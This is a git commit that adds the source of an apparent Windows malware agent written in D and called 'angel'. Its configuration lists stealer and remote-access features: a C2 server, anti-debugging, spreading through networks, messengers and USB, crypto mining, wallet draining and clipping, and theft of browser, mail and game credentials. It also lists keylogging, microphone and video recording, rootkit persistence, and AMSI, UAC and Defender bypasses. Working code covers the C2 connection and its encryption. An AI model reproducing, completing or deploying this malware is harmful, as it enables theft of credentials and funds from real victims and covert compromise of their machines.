Initiliazation

This commit is contained in:
2025-12-22 16:23:48 +01:00
parent 7a8b6d451d
commit b29e6179f3
165 changed files with 28070 additions and 0 deletions

16
vv1/agent/.gitignore vendored Normal file
View File

@@ -0,0 +1,16 @@
.dub
docs.json
__dummy.html
docs/
/angel
angel.so
angel.dylib
angel.dll
angel.a
angel.lib
angel-test-*
*.exe
*.pdb
*.o
*.obj
*.lst

76
vv1/agent/angel/angel.d Normal file
View File

@@ -0,0 +1,76 @@
module angel.main;
// TODO optimize imports (only neccessary)
// TODO mutex check + execution timer
// TODO anti dbg
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
// TODO veh/vectored syscalls in suspended thread
// Internal imports
import angel.utils.logging;
import angel.utils.constants;
import angel.utils.clean;
import angel.conn : Listener;
//import angel.exfil.browser.browser;
import angel.utils.init;
//import angel.utils.cryptography.threefish;
//import angel.utils.cryptography.aes;
import angel.utils.cryptography.serpent;
import angel.utils.cryptography.cryptography;
import angel.utils.cryptography.cryptography : Serpi, Freefishy;
//import angel.utils.cryptography.gcm.gcm;
//import angel.utils.cryptography.aes;
import angel.utils.cryptography.threefish;
import angel.config : config;
//import angel.conn.vnc.vnc;
// External imports
import std.stdio;
import std.conv : to;
import core.thread.osthread;
import std.format;
int main()
{
init();
// ! Serpent implementation
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk);
auto serp = new Serpi(keypair);
auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
Logger.log(LogLevel.Debug, lol.to!string);
auto lol2 = serp.decrypt(lol);
Logger.log(LogLevel.Debug, lol2.to!string);
// ! ThreeFish512 implementation
auto kiii = Threefish512.generateKey();
auto tweaki = Threefish512.generateTweak();
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
auto fish = new Freefishy(kiii, tweaki);
auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
Logger.log(LogLevel.Debug, lol3.to!string);
auto lol4 = fish.decrypt(lol3);
Logger.log(LogLevel.Debug, lol4.to!string);
new Listener();
return 0;
}

View File

View File

View File

213
vv1/agent/angel/config.d Normal file
View File

@@ -0,0 +1,213 @@
module angel.config;
// Internal imports
import angel.utils.constants;
// External imports
import std.stdio;
// bool -> possible values: 'true' or 'false'
// string -> possible values: character slice (use "" to define a slice)
// array - [] -> possible values: multiple character slices seperated by commas (inside)
struct Config
{
struct Server
{
string host = "127.0.0.1"; // c2 ip
int port = 8080; // c2 port
int initializer = 0;
}
bool debug_mode = true;
ubyte[] server_pk = [
0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83,
0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06,
0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51
]; // server public curve25519 key
struct Antidbg
{
bool analysis = true;
bool dbg = true;
bool kill = false;
bool vm = false;
}
bool fakeErr = false;
// remove Constants.Errmsg("[]") to use std err msg
Constants.Errmsg errmsg = Constants.Errmsg("custom err msg");
struct Exclude
{
string[] country = ["de", "ru"]; // country to exclude from stealing
string[] path = ["", ""]; // path to exclude from antivirus
string[] network = [""]; // disables access to specific network/web addresses
}
struct Spread
{
bool local_network = true;
bool messenger = true;
bool mail = false;
}
struct Infect
{
bool iso = true;
bool usb = true;
bool systemfil = true;
}
struct Miner
{ // choose from: 'gpu/cpu'
Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address)
Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823")
Constants.Coin ltc = Constants.Coin(1, "", "");
Constants.Coin sol = Constants.Coin(1, "", "");
Constants.Coin eth = Constants.Coin(1, "", "");
}
struct Exfil
{
bool applications = true;
struct Browser
{
bool gecko = false;
bool chromium = true;
bool inject = false;
}
Browser browser;
struct Network
{
bool ftp = false;
bool ssh = false;
bool vpn = false;
bool proxy = false;
bool hook = false;
}
Network network;
struct Files
{
bool common = true;
bool important = true;
string[] commonFiles = [""];
string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc.
}
Files files;
struct Games
{
bool accounts = true;
bool saves = false;
bool inject = true;
string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M
}
Games games;
struct Mail
{
bool client = true;
bool web = false;
bool inject = false;
}
Mail mail;
bool filterAccounts = false;
bool systemInformation = false;
bool porndetect = false;
struct Wallet
{
bool seed = true;
Constants.Address xmrDrainer = Constants.Address("");
Constants.Address btcDrainer = Constants.Address("");
Constants.Address ltcDrainer = Constants.Address("");
Constants.Address solDrainer = Constants.Address("");
Constants.Address ethDrainer = Constants.Address("");
Constants.Address xmrClipper = Constants.Address("");
Constants.Address btcClipper = Constants.Address("");
Constants.Address ltcClipper = Constants.Address("");
Constants.Address ethClipper = Constants.Address("");
Constants.Address solClipper = Constants.Address("");
bool inject = false;
}
Wallet wallet;
struct Messenger
{
bool messages = false;
bool login = true;
bool inject = false;
}
Messenger messenger;
bool snapshot = false;
bool screenshot = true;
}
struct Conn
{
bool keylogger = true;
bool micrecord = false;
bool vidrecord = false;
string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h
}
struct Persistence
{
string mode = ""; // bootkit, ring0 rootkit, registry, windows startup folder, app injection startup
// choose from: 'boot, kernel, reg, file, app'
}
struct Privesc
{
bool fixExclusion = true;
bool disReagentC = true;
bool disEtw = true;
bool amsiBypass = true;
bool uacBypass = true;
bool destroyDef = false;
bool disableAv = false;
}
struct Dropper
{
bool memLoad = true; // load into memory/run module
bool startup = false; // will use the same method as persistence
bool update = false; // scrape again every time from URL
string url = ""; // URL to scrape file from
}
struct Dnsmanip
{
bool exclude = true; // excludes files from exclude struct to deny web access
}
Server server;
Antidbg antidbg;
Exclude exclude;
Spread spread;
Infect infect;
Miner miner;
Exfil exfil;
Conn conn;
Persistence persistence;
Privesc privesc;
Dropper dropper;
Dnsmanip dnsmanip;
}
Config config;

58
vv1/agent/angel/conn.d Normal file
View File

@@ -0,0 +1,58 @@
module angel.conn;
// Internal imports
import angel.utils.logging;
import angel.utils.constants;
import angel.config : config;
// External imports
import std.socket;
import std.conv;
import std.format;
import std.stdio;
class Listener
{
private TcpSocket sock;
this()
{
this.initialize();
this.sockc();
}
private void initialize()
{
Logger.log(LogLevel.Debug, format("Establishing conn: %s:%s", config.server.host, config
.server.port));
try {
this.sock = new TcpSocket();
this.sock.connect(new InternetAddress(config.server.host, cast(ushort) config.server.port));
}
catch (SocketOSException err) {
Logger.log(LogLevel.Error, format("Failed to establ conn: %s", err));
this.sock = null;
}
catch (Exception err) {
Logger.log(LogLevel.Error, format("Unknown err occurred: %s", err));
this.sock = null;
}
}
private void sockc()
{
if (this.sock is null) {
Logger.log(LogLevel.Warning, "Cannot send data: No active connection.");
return;
}
ubyte[] init_id = [to!ubyte(config.server.initializer)];
try {
this.sock.send(init_id);
Logger.log(LogLevel.Event, "Initializer ID sent.");
}
catch (SocketOSException err) {
Logger.log(LogLevel.Error, format("Failed to send data: %s", err));
}
}
}

View File

0
vv1/agent/angel/parse.d Normal file
View File

View File

@@ -0,0 +1,9 @@
module angel.utils.clean;
// Internal imports
// External imports
import std.stdio;
void clean() {
}

View File

@@ -0,0 +1,36 @@
module angel.utils.constants;
// Internal imports
// External imports
import std.stdio;
import std.process;
import std.Path;
class Constants {
public static string appdata;
public static string local_appdata;
public static string workdir;
public static string logFilePath;
static this() {
appdata = environment.get("APPDATA");
local_appdata = environment.get("LOCALAPPDATA");
workdir = buildPath(appdata, "Angel");
logFilePath = buildPath(workdir, "angel.log");
}
struct Address {
string addr;
}
struct Coin {
int percentage = 30;
string source = "gpu";
string addr;
}
struct Errmsg {
string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program";
}
}

View File

@@ -0,0 +1,416 @@
module angel.utils.cryptography.bitmanip;
import std.traits;
///
/// This module contains several methods to convert integer types into byte arrays
/// and vice versa.
///
///
alias rotateLeft rol;
alias rotateRight ror;
/// rot shift to the left
/// Params:
/// x = integer to shift
/// shiftAmount = number of bits to shift
@safe
@nogc
T rotateLeft(T)(T x, uint shiftAmount) pure nothrow
{
enum nbits = T.sizeof*8;
//shiftAmount %= nbits;
return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount));
}
/// test rotateLeft
unittest {
ubyte b0 = 0b10000001;
ubyte b1 = 0b00000011;
ubyte b2 = 0b00000110;
ubyte b7 = 0b11000000;
assert(rotateLeft(b0,0) == b0);
assert(rotateLeft(b0,1) == b1);
assert(rotateLeft(b0,2) == b2);
assert(rotateLeft(b0,7) == b7);
assert(rotateLeft(b0,8) == b0);
}
/// rot shift to the right
/// Params:
/// x = integer to shift
/// shiftAmount = number of bits to shift
@safe
@nogc
T rotateRight(T)(T x, uint shiftAmount) pure nothrow
{
enum nbits = T.sizeof*8;
//shiftAmount %= nbits;
return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount)));
}
/// test rotateRight
unittest {
ubyte b0 = 0b00000101;
ubyte b1 = 0b10000010;
ubyte b2 = 0b01000001;
ubyte b7 = 0b00001010;
assert(rotateRight(b0,0) == b0);
assert(rotateRight(b0,1) == b1);
assert(rotateRight(b0,2) == b2);
assert(rotateRight(b0,7) == b7);
assert(rotateRight(b0,8) == b0);
}
/**
Converts big endian bytes to integral of type T
Params: bs = the big endian bytes
Returns: integral of type T
*/
@safe @nogc
T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T)
in {
assert(bs.length >= T.sizeof, "input buffer too short");
}
body {
version(BigEndian) {
// data is already in memory as we want
return (cast(const T[])bs)[0];
}else {
Unqual!T n = 0;
static if (T.sizeof >= short.sizeof) {
n |= bs[0];
n <<= 8;
n |= bs[1];
}
static if (T.sizeof >= int.sizeof) {
n <<= 8;
n |= bs[2];
n <<= 8;
n |= bs[3];
}
static if (T.sizeof == long.sizeof) {
n <<= 8;
n |= bs[4];
n <<= 8;
n |= bs[5];
n <<= 8;
n |= bs[6];
n <<= 8;
n |= bs[7];
}
return n;
}
}
/**
Converts little endian bytes to integral of type T
Params: bs = the little endian bytes
Returns: integral of type T
*/
@safe @nogc
T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T)
in {
assert(bs.length >= T.sizeof, "input buffer too short");
}
body {
version(LittleEndian) {
// data is already in memory as we want
return (cast(const T[])bs)[0];
}else {
Unqual!T n = 0;
static if (T.sizeof >= short.sizeof) {
n |= bs[0];
n |= cast(T)bs[1] << 8;
}
static if (T.sizeof >= int.sizeof) {
n |= cast(T)bs[2] << 16;
n |= cast(T)bs[3] << 24;
}
static if (T.sizeof == long.sizeof) {
n |= cast(T)bs[4] << 32;
n |= cast(T)bs[5] << 40;
n |= cast(T)bs[6] << 48;
n |= cast(T)bs[7] << 56;
}
return n;
}
}
/**
Converts big endian bytes to integrals of type T
size of bs has to match the size in bytes of output
Params:
bs = the big endian bytes
output = where the T's get written to
*/
@safe @nogc
void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
in {
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
}
body {
version(BigEndian) {
// short cut on big endian systems
const T[] casted = cast(const T[]) bs;
output[] = casted[];
} else {
// for little endian systems
enum s = T.sizeof;
foreach (i; 0 .. output.length)
{
output[i] = fromBigEndian!T(bs[s*i .. s*i+s]);
}
}
}
/**
Converts little endian bytes to integrals of type T
size of bs has to match the size in bytes of output
Params:
bs = the little endian bytes
output = where the T's get written to
*/
@safe @nogc
void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
in {
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
}
body {
version(LittleEndian) {
// short cut on little endian systems
const T[] casted = cast(const T[]) bs;
output[] = casted[];
} else {
// for big endian systems
enum s = T.sizeof;
foreach (i; 0 .. output.length)
{
output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]);
}
}
}
/**
convert a integral type T into an array of bytes.
Params:
n = the number
output = the buffer to write the bytes to
*/
@safe @nogc
void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof, "output buffer too small");
}
body {
Unqual!T n = val;
uint off = 0;
static if(T.sizeof == long.sizeof) {
output[off] = cast (ubyte) (n >>> 56);
++off;
output[off] = cast (ubyte) (n >>> 48);
++off;
output[off] = cast (ubyte) (n >>> 40);
++off;
output[off] = cast (ubyte) (n >>> 32);
++off;
}
static if(T.sizeof >= int.sizeof) {
output[off] = cast (ubyte) (n >>> 24);
++off;
output[off] = cast (ubyte) (n >>> 16);
++off;
}
static if(T.sizeof >= short.sizeof) {
output[off] = cast (ubyte) (n >>> 8);
++off;
}
output[off] = cast (ubyte) (n);
}
/**
convert a integral type T into an array of bytes.
Params:
n = the number
output = the buffer to write the bytes to
*/
@safe @nogc
void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof, "output buffer too small");
}
body {
Unqual!T n = val;
output[0] = cast (ubyte) (n);
n >>>= 8;
static if(T.sizeof >= short.sizeof) {
output[1] = cast (ubyte) (n);
n >>>= 8;
}
static if(T.sizeof >= int.sizeof) {
output[2] = cast (ubyte) (n);
n >>>= 8;
output[3] = cast (ubyte) (n);
n >>>= 8;
}
static if(T.sizeof == long.sizeof) {
output[4] = cast (ubyte) (n);
n >>>= 8;
output[5] = cast (ubyte) (n);
n >>>= 8;
output[6] = cast (ubyte) (n);
n >>>= 8;
output[7] = cast (ubyte) (n);
}
}
/**
convert a integral type T[] into an array of bytes.
Params:
ns = the numbers
output = the buffer to write the bytes to
*/
@safe @nogc
void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
}
body {
version(BigEndian) {
// shortcut on BigEndian systems
const ubyte[] casted = cast(const ubyte []) ns;
output[] = casted[];
}else{
foreach(i, const T n; ns) {
toBigEndian!T(n, output[T.sizeof * i .. $]);
}
}
}
/**
convert a integral type T[] into an array of bytes.
Params:
ns the numbers
output the buffer to write the bytes to
*/
@safe @nogc
void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
}
body {
version(LittleEndian) {
// shortcut on LittleEndian systems
const ubyte[] casted = cast(const ubyte []) ns;
output[] = casted[];
}else{
foreach(i, const T n; ns) {
toLittleEndian!T(n, output[T.sizeof * i .. $]);
}
}
}
ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc
if(isIntegral!T)
{
ubyte[T.sizeof] bs;
toBigEndian!T(n, bs);
return bs;
}
ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T)
{
ubyte[] bs = new ubyte[T.sizeof * ns.length];
toBigEndian!T(ns, bs);
return bs;
}
ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc
if(isIntegral!T)
{
ubyte[T.sizeof] bs;
toLittleEndian!T(n, bs);
return bs;
}
ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T)
{
ubyte[] bs = new ubyte[T.sizeof * ns.length];
toLittleEndian!T(ns, bs);
return bs;
}
unittest {
// int
assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed");
assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed");
// long
assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed");
assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed");
// bigEndian to short, int, long
assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u);
assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u);
assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL);
// littleEndian to short, int, long
assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u);
assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u);
assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL);
// bigEndian: convert multiple ints
uint[] output = new uint[2];
immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08];
fromBigEndian(input, output);
assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed");
// littleEndian: convert multiple ints
output = new uint[2];
fromLittleEndian(input, output);
assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed");
immutable int i = 0xf1f2f3f4;
int iResult;
ubyte[] buf;
// int to bigEndian
buf = new ubyte[4];
toBigEndian!int(i, buf);
iResult = fromBigEndian!int(buf);
assert(i == iResult);
// int to littleEndian
buf = new ubyte[4];
toLittleEndian!int(i, buf);
iResult = fromLittleEndian!int(buf);
assert(i == iResult);
immutable long l = 0xf1f2f3f4f5f6f7f8;
long lResult;
// long to bigEndian
buf = new ubyte[8];
toBigEndian!long(l, buf);
lResult = fromBigEndian!long(buf);
assert(l == lResult);
// int to littleEndian
buf = new ubyte[8];
toLittleEndian!long(l, buf);
lResult = fromLittleEndian!long(buf);
assert(l == lResult);
}

View File

@@ -0,0 +1,191 @@
module angel.utils.cryptography.blockcipher;
/// Use this to check if type is a block cipher.
@safe
template isBlockCipher(T)
{
enum bool isBlockCipher =
is(T == struct) &&
is(typeof(
{
ubyte[0] block;
T bc = T.init; // Can define
string name = T.name;
uint blockSize = T.blockSize;
bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv
uint len = bc.encrypt(cast (const ubyte[]) block, block);
bc.reset();
}));
}
/// OOP API for block ciphers
@safe
public interface IBlockCipher {
@safe public:
/**
* Initialize the cipher.
*
* Params:
* forEncryption = if true the cipher is initialised for
* encryption, if false for decryption.
* userKey = A secret key.
* iv = A nonce.
*/
void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc;
/**
* Return the name of the algorithm the cipher implements.
*
* Returns: the name of the algorithm the cipher implements.
*/
@property
string name() pure nothrow;
/**
* Return the block size for this cipher (in bytes).
*
* Returns: the block size for this cipher in bytes.
*/
@property
uint blockSize() pure nothrow @nogc;
/**
* Process one block of input from the array in and write it to
* the out array.
*
* Params:
* input = the slice containing the input data.
* output = the slice the output data will be copied into.
* Throws: IllegalStateException if the cipher isn't initialised.
* Returns: the number of bytes processed and produced.
*/
@nogc
uint encrypt(in ubyte[] input, ubyte[] output) nothrow;
@nogc
uint decrypt(in ubyte[] input, ubyte[] output) nothrow;
/**
* Reset the cipher. After resetting the cipher is in the same state
* as it was after the last init (if there was one).
*/
@nogc
void reset() nothrow;
}
/// Wraps block ciphers into the OOP API
@safe
public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher {
private T cipher;
@safe public:
/**
* Initialize the cipher.
*
* Params:
* forEncryption = if true the cipher is initialised for
* encryption, if false for decryption.
* params = the key and other data required by the cipher.
*
* Throws: IllegalArgumentException if the params argument is
* inappropriate.
*/
void start(in ubyte[] key, in ubyte[] iv = null) nothrow {
cipher.start(key, iv);
}
/**
* Return the name of the algorithm the cipher implements.
*
* Returns: the name of the algorithm the cipher implements.
*/
@property
string name() pure nothrow {
return cipher.name;
}
/**
* Return the block size for this cipher (in bytes).
*
* Returns: the block size for this cipher in bytes.
*/
@property
uint blockSize() pure nothrow @nogc {
return T.blockSize;
}
/**
* Process one block of input from the array in and write it to
* the out array.
*
* Params:
* input = the slice containing the input data.
* output = the slice the output data will be copied into.
* Throws: IllegalStateException if the cipher isn't initialised.
* Returns: the number of bytes processed and produced.
*/
uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
return cipher.encrypt(input, output);
}
uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
return cipher.decrypt(input, output);
}
/**
* Reset the cipher. After resetting the cipher is in the same state
* as it was after the last init (if there was one).
*/
void reset() nothrow @nogc {
cipher.reset();
}
}
version(unittest) {
// unittest helper functions
import std.format: format;
/// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts
///
/// Params:
/// keys = The encryption/decryption keys.
/// plaintexts = Plaintexts.
/// cipherTexts = Corresponding ciphertexts.
/// ivs = Initialization vectors.
///
@safe
public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) {
foreach (uint i, string test_key; keys)
{
ubyte[] buffer = new ubyte[bc.blockSize];
const ubyte[] key = cast(const ubyte[]) test_key;
const (ubyte)[] iv = null;
if(ivs !is null) {
iv = cast(const (ubyte)[]) ivs[i];
}
// Encryption
bc.start(key, iv);
bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer);
assert(buffer == cipherTexts[i],
format("%s failed to encrypt.", bc.name));
// Decryption
bc.start(key, iv);
bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer);
assert(buffer == plaintexts[i],
format("%s failed to decrypt.", bc.name));
}
}
}

View File

@@ -0,0 +1,148 @@
module angel.utils.cryptography.cryptography;
// Internal imports
import angel.utils.logging;
import angel.utils.cryptography.serpent;
import angel.utils.cryptography.threefish;
import angel.utils.cryptography.curve25519;
// External imports
import std.stdio;
import std.random;
import std.format;
class Cryptography {
public {
struct KeyPair {
ubyte[32] clientSecretKey;
ubyte[32] sharedSecret;
}
}
public static KeyPair derive_25519(ubyte[] pk) {
ubyte[32] sk; // generate client secret key
for (int i = 0; i < 32; ++i) {
sk[i] = cast(ubyte)(uniform(0, 256));
}
Logger.log(LogLevel.Debug, "Generated client sk");
ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk
Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss));
return KeyPair(sk, ss);
}
}
class Freefishy {
private Threefish512 cipher;
this(ulong[8] key, ulong[2] tweak) {
cipher = new Threefish512();
cipher.setup(key, tweak);
}
public ubyte[] encrypt(ubyte[] payload) {
ulong[8] plain = [0, 0, 0, 0, 0, 0, 0, 0];
// Pack the ubyte[] into ulong[] by 8 bytes per ulong
foreach (i, c; payload) {
plain[i / 8] |= cast(ulong) c << ((i % 8) * 8);
}
// Encrypt the ulong array
ulong[] encrypted_three = cipher.crypt(plain);
// Convert the encrypted ulong[] back to ubyte[]
ubyte[] encrypted_bytes;
foreach (enc_val; encrypted_three) {
foreach (i; 0..8) {
encrypted_bytes ~= cast(ubyte)((enc_val >> (i * 8)) & 0xFF);
}
}
Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_bytes));
return encrypted_bytes;
}
public ubyte[] decrypt(ubyte[] payload) {
ulong[8] decrypted_buffer;
// Convert the ubyte[] payload back into ulong[] (8 bytes per ulong)
ulong[8] cipher_payload;
foreach (i, val; payload) {
cipher_payload[i / 8] |= cast(ulong) val << ((i % 8) * 8);
}
// Decrypt the ulong[] array
cipher.decrypt(cipher_payload.ptr, decrypted_buffer.ptr);
// Convert the decrypted ulong[] back to ubyte[]
ubyte[] decrypted_bytes;
foreach (dec_val; decrypted_buffer) {
foreach (i; 0..8) {
decrypted_bytes ~= cast(ubyte)((dec_val >> (i * 8)) & 0xFF);
}
}
Logger.log(LogLevel.Debug, format("Threefish Decrypted: %s", decrypted_bytes));
return decrypted_bytes;
}
}
class Serpi {
private Serpent serp;
this(Cryptography.KeyPair keypair) {
auto key = cast(ubyte[]) keypair.sharedSecret.dup;
serp.start(key);
}
public ubyte[] encrypt(ubyte[] payload) {
ubyte padding = cast(ubyte)(16 - (payload.length % 16));
ubyte[] paddingBytes = new ubyte[padding];
foreach (i; 0 .. padding) {
paddingBytes[i] = padding;
}
ubyte[] input = payload ~ paddingBytes;
ubyte[] output = new ubyte[input.length];
serp.encrypt(input, output);
Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output));
return output;
}
public ubyte[] decrypt(ubyte[] payload) {
ubyte[] output = new ubyte[payload.length];
serp.decrypt(payload, output);
if (output.length == 0) {
throw new Exception("Decryption failed: Output length is zero.");
}
ubyte padding = output[$ - 1];
if (padding > 16 || padding == 0) {
throw new Exception("Invalid padding detected");
}
foreach (i; output.length - padding .. output.length) {
if (output[i] != padding) {
throw new Exception("Padding validation failed");
}
}
ubyte[] unpadded = output[0 .. output.length - padding];
Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", unpadded));
return unpadded;
}
public void reset() {
serp.reset();
}
}

View File

@@ -0,0 +1,136 @@
module angel.utils.cryptography.curve25519;
import angel.utils.cryptography.fieldelem;
import angel.utils.cryptography.utils;
public enum ubyte[32] publicBasePoint = cast(immutable (ubyte[32]) ) x"0900000000000000000000000000000000000000000000000000000000000000";
@safe nothrow @nogc:
///
///
/// Params:
/// secret = Your secret key, the 'exponent'.
/// p = Receivers public key. Default base point = 9.
///
/// Returns: p^secret.
///
/// Examples:
///
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
///
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
///
ubyte[32] curve25519_scalarmult(
in ubyte[] secret,
in ubyte[] p = cast(const ubyte[32]) publicBasePoint) @safe nothrow @nogc
in {
assert(secret.length == 32, "Secret key must be 32 bytes long.");
assert(p.length == 32, "Public key must be 32 bytes long.");
} body {
ubyte[32] sec = secret;
scope(exit) {
wipe(sec);
}
ubyte[32] pub = p;
return curve25519_scalarmult(sec, pub);
}
///
///
/// Params:
/// secret = Your secret key, the 'exponent'.
/// p = Receivers public key. Default base point = 9.
///
/// Returns: p^secret.
///
/// Examples:
///
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
///
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
///
ubyte[32] curve25519_scalarmult(in ref ubyte[32] secret, in ref ubyte[32] p = publicBasePoint) @safe nothrow @nogc
{
ubyte[32] e = secret;
scope(exit) {
wipe(e);
}
clamp(e);
fe x1, x2, x3, z2, z3, tmp0, tmp1;
scope(exit) {
wipe(x1);
wipe(x2);
wipe(x3);
wipe(z2);
wipe(z3);
wipe(tmp0);
wipe(tmp1);
}
x1 = fe.fromBytes(p);
x2 = fe.one;
z2 = fe.zero;
x3 = x1;
z3 = fe.one;
uint swap = 0, b;
for (int pos = 254; pos >= 0;--pos) {
b = e[pos / 8] >> (pos & 7);
b &= 1;
swap ^= b;
fe_cswap(x2,x3,swap);
fe_cswap(z2,z3,swap);
swap = b;
tmp0 = x3 - z3;
tmp1 = x2 - z2;
x2 += z2;
z2 = x3 + z3;
z3 = tmp0 * x2;
z2 *= tmp1;
tmp0 = tmp1.sq;
tmp1 = x2.sq;
x3 = z2 + z3;
z2 = z3 - z2;
x2 = tmp0 * tmp1;
tmp1 -= tmp0;
z2 = z2.sq;
z3 = fe_mul121666(tmp1);
x3 = x3.sq;
tmp0 += z3;
z3 = x1 * z2;
z2 = tmp0 * tmp1;
}
fe_cswap(x2,x3,swap);
fe_cswap(z2,z3,swap);
x2 *= z2.inverse;
return x2.toBytes;
}
/// Transforms 32 random bytes into a valid secret key.
///
/// Params:
/// sk = 32 byte secret key.
package void clamp(ubyte[] sk) pure
in {
assert(sk.length == 32);
} body {
sk[0] &= 248;
sk[31] &= 63;
sk[31] |= 64;
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,261 @@
module angel.utils.cryptography.threefish;
import std.random : Random, unpredictableSeed, uniform;
// memcpy
extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n);
class Threefish512
{
private {
// Размер блока шифра
enum blockSize = 64;
// Количество 64-битных слов в ключе (и в блоке)
enum Nw = 8;
// Количество раундов
enum Nr = 72;
// Количество раундов (за вычетом последнего)
enum Ns = Nr / 4;
// Функция перестановки
uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3];
uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3];
// Функция смешивания и перестановки
uint[4][8] r = [
[46, 36, 19, 37],
[33, 27, 14, 42],
[17, 49, 36, 39],
[44, 9 , 54, 56],
[39, 30, 34, 24],
[13, 50, 10, 17],
[25, 29, 39, 43],
[8 , 35, 56, 22]
];
// Твик-значение (свободный параметр алгоритма)
ulong[3] t;
// Раундовые ключи
ulong[8][Ns + 1] subKeys;
auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y)
{
y[0] = x[0] + x[1];
y[1] = (x[1] << r) | (x[1] >> (64 - r));
y[1] ^= y[0];
}
auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x)
{
y[1] ^= y[0];
x[1] = (y[1] << (64 - r)) | (y[1] >> r);
x[0] = y[0] - x[1];
}
alias _mod8 = (ulong a) => a & 7UL;
}
/// Шифрование блока
/// plain - указатель на блок для шифрования, c - массив-приемник результата
void crypt(ulong* plainData, ulong* c) @system
{
ulong[8] f;
ulong[8] e;
ulong[2] y;
ulong[2] x;
ulong[8] v;
uint i;
memcpy (&v[0], plainData, 64);
for (uint round = 0; round < Nr; round++)
{
if (round % 4 == 0)
{
uint s = round >> 2;
for (i = 0; i < Nw; i++)
{
e[i] = v[i] + subKeys[s][i];
}
}
else
{
for (i = 0; i < Nw; i++)
{
e[i] = v[i];
}
}
for (i = 0; i < Nw / 2; i++)
{
x[0] = e[i * 2];
x[1] = e[i * 2 + 1];
